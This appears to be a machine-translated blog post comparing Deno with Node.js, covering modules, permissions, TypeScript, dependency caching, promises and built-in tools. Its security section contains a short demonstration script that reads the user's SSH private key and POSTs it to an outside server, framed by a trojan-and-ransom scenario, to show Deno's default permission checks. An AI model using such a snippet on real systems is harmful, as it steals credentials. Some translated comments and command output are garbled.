preface

Deno has officially launched 🎉!

When I say this, are many front-end and NodeJS engineers already unable to hold their 40m knives? In my heart, I not only feel that the front end is really capable of building wheels, but also have node not enough, haven’t learned node and made deno, what is the difference between node and deno? !

Indeed, Deno and Node are similar in form and seem to have the same problem to solve. What’s the difference between them? Is it a moral bankruptcy or a distortion of ry’s human nature?

Deno VS Node

Node Deno
API reference mode Module import Global object
Module system CommonJS & New Experimental ES Module for Node ES Module browser implementation
security No safety restrictions The default security
Typescript Third-party, such as ts-Node Native support
Package management npm + node_modules Native support
Asynchronous operations The callback Promise
Package distribution Centralized npmjs.com Decentralize import URLS
The entrance Package. The json configuration Import URL Imports directly
Package, test, format Third parties such as ESLint, Gulp, Webpack, Babel, etc Native support

1. Different built-in API references

Importing a Node Module

The Node built-in API is referenced by module import, for example:

const fs = require("fs");
fs.readFileSync("./data.txt");
Copy the code

Deno Global object

Deno is the properties and methods of a global object deno:

Deno.readFileSync("./data.txt");
Copy the code

The repL can be used to see how deno works:

deno # or deno repl
Copy the code

After entering repL, type Deno and press Enter, we can see:

{
 Buffer: [Function: Buffer],
 readAll: [AsyncFunction: readAll],
 readAllSync: [Function: readAllSync],
 writeAll: [AsyncFunction: writeAll],
 writeAllSync: [Function: writeAllSync],
 #...
}
Copy the code

The advantage of this approach is that it is simple and convenient, but the disadvantage is that there is no classification and it is difficult to find forgotten apis. Generally speaking, different people have different opinions.

2. Module system

Let’s look at the module system. This is where deno and Node differ the most, and where deno and Node are incompatible.

The node CommonJS specification

We all know that Node uses CommonJS, while deno uses ES Module as a browser implementation.

The browser implementation of the ES Module

The ES Module is a Module that you are familiar with, but you may not be familiar with the browser implementation, so let’s take a look at the browser implementation first:

<body>
  <! Type ="module" -->
  <script type="module">
    // Import from URL
    import Vue from "https://unpkg.com/[email protected]/dist/vue.esm.browser.js";
    // Import from a relative path
    import * as utils from "./utils.js";
    // Import from the absolute path
    import "/index.js";

    / / does not support
    import foo from "foo.js";
    import bar from "bar/index.js";
    import zoo from "./index"; // There is no.js suffix
  </script>
</body>
Copy the code

Deno module specification

Deno fully follows the ES Module browser implementation, so deno is the same:

/ / support
import * as fs from "https://deno.land/std/fs/mod.ts";
import { deepCopy } from "./deepCopy.js";
import foo from "/foo.ts";

/ / does not support
import foo from "foo.ts";
import bar from "./bar"; // The extension must be specified
Copy the code

One of the biggest differences we found with the ES Module in WebPack or TS is:

  • You can reference online resources directly with import URLS;

  • The extension and file name of the resource cannot be omitted.

As for the first point, there is a lot of controversy. Some people think that it greatly expands the scope of deno library. Someone is not very optimistic, feel the reason of domestic net speed, not practical. What do you think? Let us know in the comments section 🤔

3. The security

If the module specification is the biggest difference between Node and deno, the handling of security is another area of confusion.

Simulate hack

Let’s think about this scenario before we introduce it:

I made a one-key Internet surfing tool based on command line breakwall, 1 G free traffic per month, and then released the compressed JS code to NPM, and then a wave of publicity in various channels.

Then every time I use it, I secretly upload your SSH key and all kinds of documents and pictures that can be stolen to my server. After the deadline expires, I delete the data on the computer, leaving a message “take money for data”, only support bitcoin.

Secure denO by default

If you think any of the above is possible, you’ll find the following features useful. Let’s first execute the following code with deno:

// index.js
let rsa = Deno.readFileSync(Deno.dir("home") + "/.ssh/id_rsa");

rsa = new TextDecoder().decode(rsa);

fetch("http://jsonplaceholder.typicode.com/posts/1", {
  method: "POST".body: JSON.stringify(rsa)
})
  .then((res) = > res.json())
  .then((res) = > console.log("Key sent successfully, hey hey hey 😜"));

console.log("start breakwall...");
Copy the code

PS: –unstable because the deno. dir API is unstable

> deno run --unstable index.js
Copy the code

We will get the following error message:

> deno run --unstable  index.js
error: Uncaught PermissionDenied: access to environment variables, run again with the --allow-env flag
    ...
Copy the code

Allow-env = –allow-env = –allow-env

> deno run --unstable --allow-env index.js
error: Uncaught PermissionDenied: read access to "/Users/zhangchaojie/.ssh/id_rsa", run again with the --allow-read flag
    ...
Copy the code

Add –allow-read, –allow-net, and the result is:

> deno run --unstable --allow-env --allow-read --allow-net index.js start breakwall... Key sent successfully, hey hey hey 😜Copy the code

After a toss, it was finally sent successfully, it is not easy to steal the key.

White list

So someone said, what if my application really needs to access the network and files, but I don’t want it to access.ssh files?

We can specify whitelists for –allow-read and –allow-net, for example:

> deno run --unstable --allow-env --allow-read --allow-net=https://www.baidu.com  index.js
start breakwall...
error: Uncaught PermissionDenied: network access to "http://jsonplaceholder.typicode.com/posts/1", run again with the --allow-net flag
    at unwrapResponse ($deno$/ops/dispatch_json.ts:43:11)
    at Object.sendAsync ($deno$/ops/dispatch_json.ts:98:10)
    at async fetch ($deno$/web/fetch.ts:591:27)
Copy the code

Simplify the parameters

–allow-all = –allow-all = –allow-all = –allow-all = –allow-all

> deno -A --unstable index.js start breakwall... Key sent successfully, hey hey hey 😜Copy the code

Security in this respect, some people think it is redundant, some people think it is very easy to use, greatly enhanced security. If you feel this feature is redundant, you can deno run -A XXX.

4. Compatible with browser APIS

Many people don’t understand why or how a server-side language should be compatible with browser apis.

Why browser API compatibility

As for why, let me give you an example: when designing Node, the output function was supposed to be called print or something, and then someone suggested why not call it console.log. Ry thought it was good, so he accepted the idea.

However, this design is not intentional, and deno’s design can be, by being consistent with the browser API, to reduce awareness.

How compatible with the browser API

Conceptual compatibility
  • The module system, as described above, deno is fully browser-compliant;

  • Default security, of course, is not their own concept, W3C has already made the browser permissions, we do small programs when it is particularly obvious, need to obtain a variety of permissions;

  • Return a Promise for asynchronous operations;

  • Use ArrayBuffer to process binary;

  • And so on…

The window global variable exists
console.log(window= = =this.window === self, window === globalThis);
Copy the code
To achieve theWindowOrWorkerGlobalScopeAll methods of

For a specific list of methods, we can refer to: lib.deno.shared_globals.d.ts and lib.deno.window.d.ts

// Request method
fetch("https://baidu.com");

/ / base64 conversion
let encodedData = btoa("Hello, world"); / / code
let decodedData = atob(encodedData); / / decoding

Micro / / task
queueMicrotask((a)= > {
  console.log(123);
});

/ / and so on...
Copy the code
Big trend

In general, deno will not create a new concept if the server side and browser side have the same concept. The new Node 14.0 CHANGELOG also mentions the idea of Universal JavaScript and Spec Compliance and Web Compatibility. So we can all accept that, after all, the trend of The Times.

5. Support the Typescript

Like it or not, it’s 2020 and you have to learn TS (at least when it comes to interviews). After you learn it, you will realize that King’s Law is really everywhere.

// index.ts
let str: string = "King's Law.";
str = 132;
Copy the code
> deno run index.ts
error TS2322: Type '123' is not assignable to type 'string'Excellent file:///Users/zhangchaojie/Desktop/index.ts:2:1 2 STR = 123 ~ ~ ~Copy the code

6. To node_modules

Deno doesn’t have node_modules, so how does it manage packages? Let’s start with the following example

// index.js
import { white, bgRed } from "https://deno.land/std/fmt/colors.ts";

console.log(bgRed(white("hello world!")));
Copy the code
> deno run index.js
Download https://deno.land/std/fmt/colors.ts
Compile https://deno.land/std/fmt/colors.ts
hello world!
Copy the code

We see that there are two steps, Compile and Download, and we have a few questions:

1. Do you need to download each execution?

Solution: we only need to execute it once to find out, not every time we download it.

> deno run index.js
hello world!
Copy the code

Where are the files for Download and Compile?

–help deno –help deno –help deno –help deno –help deno –help deno –help deno –help deno –help

> deno --help
SUBCOMMANDS:
#...
info           Show info about cache or info related to source file

#...
ENVIRONMENT VARIABLES:
    DENO_DIR   Set deno's base directory (defaults to $HOME/.deno)
Copy the code

The deno info command displays dependencies, similar to package.json.

> deno info index.js
local: /Users/zhangchaojie/Desktop/index.js
typeJavaScript deps: file:///Users/zhangchaojie/Desktop/index.js └ ─ ─ at https://deno.land/std/fmt/colors.tsCopy the code

DENO_DIR is the actual installation directory and compile, equivalent to node_modules, defaults to $HOME /. Deno (command prompt, but the actual need to specify the environment variable export DENO_DIR = $HOME /. Deno), we have a look at:

> tree $HOME/. Deno/Users/zhangchaojie /. Deno ├ ─ ─ deps │ └ ─ ─ HTTPS │ └ ─ ─ deno. Land │ ├ ─ ─ 3574883 d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935 │ └ ─ ─ 3574883 d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935. Metadata. Json └ ─ ─ gen └ ─ ─ HTTPS └ ─ ─ deno. Land └ ─ ─ STD ├─ FMT ├── color.ts.js ├── color.ts.js. Map ├─ color.ts.meta 4 directories, 5 filesCopy the code

3, no network how to do?

We have some scenarios where we are deploying locally written code to a server that has no network, so when deno run XXX is executed, it will prompt error sending request.

Solution: copy the contents of the above cache directory to the server directly and specify environment variables to its directory.

4. What if the dependent code is updated?

Solution: When a dependent module is updated, we can update the cache with –reload, for example:

> deno run --reload index.js
Copy the code

We can also update only some of the dependencies by whitelist. Such as:

> deno run --reload=https://deno.land index.js
Copy the code

5. Is there any way to just cache dependencies without executing code?

Solution: Yes, we can use deno cache index.js to cache dependencies.

6. How to deal with multiple versions?

Solution: there is no good solution, only through git tag method to distinguish versions.

7. Standard module is compatible with node API

As you can see from the first point, deno’s API is actually smaller than Node’s, as is the file size:

> ll /usr/local/bin/node /Users/zhangchaojie/.local/bin/deno
-rwxr-xr-x  1   42M   /Users/zhangchaojie/.local/bin/deno
-rwxr-xr-x  1   70M   /usr/local/bin/node
Copy the code

Do these few apis have to be written or turned to the community?

Deno provides standard modules for the functions that are less frequent than Node and commonly used in the community. Its characteristic is that it does not depend on the contents of non-standard modules, so as to achieve the effect that all module references in the community converge to standard modules. Such as:

// Similar to the Chalk package in node
import { bgRed, white } from "https://deno.land/std/fmt/colors.ts";

// Similar to the UUID package in node
import { v4 } from "https://deno.land/std/uuid/mod.ts";
Copy the code

In order to be user friendly to Node, node API compatibility is provided

import * as path from "https://deno.land/std/node/path.ts";
import * as fs from "https://deno.land/std/node/fs.ts";

console.log(path.resolve('/'.'./test'))
Copy the code

So, before you contribute to the deno community, first check to see if the standard module provides similar functionality, and if so, reference it.

8. Perform asynchronous operations

According to Ry, when designing Node, a Promise was proposed to handle callbacks, but he didn’t listen and, in his own words, foolishly declined.

Node uses callbacks to handle asynchronous operations, while deno uses promises

/ / the node
const fs = require("fs");
fs.readFile("./data.txt", (err, data) => {
  if (err) throw err;
  console.log(data);
});
Copy the code

In addition, deno supports top-level-await, so the above code for reading files can be:

/ / deno way
const data = await Deno.readFile("./data.txt");
console.log(data);
Copy the code

Node has been improving in this area as well, such as many promisify solutions on the community, which do this by wrapping a layer of functions. Such as:

// node API promisify
const { promisify } = require("es6-promisify");
const fs = require("fs");

// no top-level level-await, only one layer of enveloping
async function main() {
  const readFile = promisify(fs.readFile);
  const data = await readFile("./data.txt");
  console.log(data);
}

main();
Copy the code

9. Single document distribution

We know that an NPM package must have a package.json file, which not only needs to specify fields such as main, Module, or browser to indicate the entry file, but also needs to specify fields such as name, license, and description to indicate the package.

Ry felt that these fields were a distraction for developers, so in deno, the modules don’t need any configuration files, they just take the form of import urls.

10. Decentralized warehouses

We’re all familiar with www.npmjs.com, which is the pivot that drives node’s growth. But the author believes that it is a centralized warehouse, which violates the principle of decentralization of the Internet.

So deno doesn’t have a repository like npmjs.com where you can import urls from anywhere on the Internet.

PS: Deno is actually a collection of third-party modules based on GitHub.

11. Develop dependencies

When writing a node library or tool, development dependencies are necessary, such as Babel for converting and packaging, Jest for testing, prettier for formatting, ESLint for formatting, gulp or WebPack for building, and so on. We were exhausted before development.

Deno has built in some tools to address these issues.

  • Deno bundle: package command, used to replacebabel,gulpA class of tools: For example:deno bundle ./mod.ts;
  • Deno FMT: format command, used to replaceprettierA class of tools such as:deno fmt ./mod.ts;
  • Deno test: Run test code to replacejestA class of tools such asdeno test ./test.ts;
  • Deno Lint: Code proofreading (not yet implemented), used insteadeslintA class of tools such as:deno lint ./mod.ts.

Afterword.

Like a child has been fantasizing bomb has not been able to blow up the school, technology (round) art (son) step (making) has not stopped. Whether we learn to move or not, technology is there, regardless of human will.

As for whether deno will become popular, I personally don’t think there will be much reaction for at least a year or two. After that, the relationship with Node may be like Vue and React. Some people like Deno and think it’s 10,000 times better than Node, while others like Node and think it will last another 500 years. It’s up to you whether you learn or not.

If you think the article is good, remember to like and collect ~~~~

  • 20 minutes to get started with deno